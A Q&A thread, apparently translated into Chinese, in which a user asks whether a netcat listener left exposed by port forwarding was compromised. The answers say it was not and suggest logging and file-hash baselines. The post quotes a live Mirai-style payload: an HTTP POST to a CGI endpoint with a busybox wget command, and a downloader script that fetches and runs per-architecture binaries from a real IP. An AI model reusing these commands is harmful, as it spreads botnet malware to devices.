结论
有人连接到我的 netcat 服务器并尝试执行命令。他们是否可能对我/我的计算机/我的网络造成损害?
详细故事
我最近一直在学习网络和套接字。作为编程练习,我创建了一个简单的 tcp 客户端,并想用 netcat 服务器对其进行测试。
一切都按预期进行——我的客户端已正确连接到服务器。
我的朋友让我把客户端应用程序发给他们,这样他们就可以看看。为了让应用程序在我的本地服务器上工作,我必须在路由器上设置端口转发。我一直知道这可能很危险,所以我只想暂时设置它。
我使用 netcat 命令启动了服务器:
nc -lvp 8080
然后我注意到有人连接到了我的服务器,但那人不是我的朋友!
在我的 netcat 输出中我可以看到以下内容:
Connection from 1.192.147.162:60185
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 192.168.0.14:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
/bin/busybox wget http://135.148.104.21/w.sh; chmod +x w.sh; ./w.sh%
您可以将主机视为192.168.0.14
,但我的网络上没有这样的设备!不过,我确实知道标头很容易被伪造。
我已经下载了 w.sh 来查看其内容 - 它们在这里:
wget http://135.148.104.21/bins/arm; chmod 777 arm; ./arm unidentified.arm
wget http://135.148.104.21/bins/arm5; chmod 777 arm5; ./arm5 unidentified.arm5
wget http://135.148.104.21/bins/arm6; chmod 777 arm6; ./arm6 unidentified.arm6
wget http://135.148.104.21/bins/arm7; chmod 777 arm7; ./arm7 unidentified.arm7
wget http://135.148.104.21/bins/mips; chmod 777 mips; ./mips unidentified.mips
wget http://135.148.104.21/bins/mipsel; chmod 777 mipsel; ./mipsel unidentified.mipsel
wget http://135.148.104.21/bins/x86; chmod 777 x86; ./x86 unidentified.x86
wget http://135.148.104.21/bins/i686; chmod 777 i686; ./i686 unidentified.i686
wget http://135.148.104.21/bins/i586; chmod 777 i586; ./i586 unidentified.i586
wget http://135.148.104.21/bins/arc; chmod 777 arc; ./arc unidentified.arc
wget http://135.148.104.21/bins/sh4; chmod 777 sh4; ./sh4 unidentified.sh4
rm $0
我已经下载了上述文件之一,但它们似乎是二进制的,所以我不知道如何分析它们。
看起来绝对像是来自中国(IP 所在地)的攻击者试图下载一个脚本,执行它并从我的电脑收集一些信息,并可能试图将我的电脑连接到 mirai 僵尸网络(感谢 reddit 用户henrique_wavy
发现这一点)。
然而问题是:我运行的 netcat 服务器是否可行?我是否处于危险之中?
当然,我已经立即禁用了端口转发......
我正在运行 MacOS 12.6 和 GNU netcat 0.7.1
答案1
不过,这是旧帖了……
不可以。显然,有人试图攻击。但根据你的命令,绝对不行。
这...
nc -lvp 8080
...未与任何东西相连。
假设这就是全部情况。如果这就是整个服务器,他们就无法访问任何东西。看起来像是一个机器人试图探测操纵你的 CGI 的能力。根据你发布的内容,你没有 CGI。简单的 netcat 服务器。他们指望利用一个成熟的网络服务器。不是你的小监听器。从技术上讲,它理所当然地是一个服务器。但如果这就是整个命令,他们就无法运行任何东西。而且只能访问你通过命令行输入的数据。
他们唯一能做的nc -lvp 8080
就是等你输入一些内容。
字面意思就是失败的威胁。窗口中只输出您在之后输入的内容——如果代理接受了它。
此外,机器人正在寻找 Linux 服务器。您在 Linux 上运行吗?
这里肯定没有发生什么,除了失败的攻击。
他们尝试运行的脚本.../bin/busybox wgethttp://135.148.104.21/w.sh;chmod + x w.sh; ./w.sh%
只能在具有 busybox 的基于 Linux 的 Web 服务器上运行。但脚本仅以文本形式呈现。仅此而已。它必须是执行除了向您显示其自己的代码之外,实际上还可以执行任何其他操作。
答案2
有可能吗?是的。有可能吗?不,但这取决于很多因素。进程监听的时间越短越好,并且某人或某个脚本破坏系统的可能性就越小。
netcat 监听器是以特权用户还是普通用户身份运行和监听的?如果以普通用户身份运行,那就更好了。
您如何记录传入连接?您只看到标准输出吗?
系统是否有某种安全子系统,如 selinux?如果有,这将极大地限制不受信任的进程能够使用的系统功能。
如果它只是一个经过的脚本,找到绑定到端口的监听套接字然后连接,你“可能”没问题,但你需要记录所有传入的数据包并审核所有系统调用,并观察进程列表以确保,你需要确信日志文件没有被修改或更改,更好的是,你有一个配置的远程日志服务器并将所有日志事件转发给它。
预先创建文件系统上所有文件的基线加密哈希,并将其存储在同一硬盘以外的某个地方,这样还可以验证文件系统上没有任何变化。您可以再次生成所有哈希,并验证它们是否全部匹配。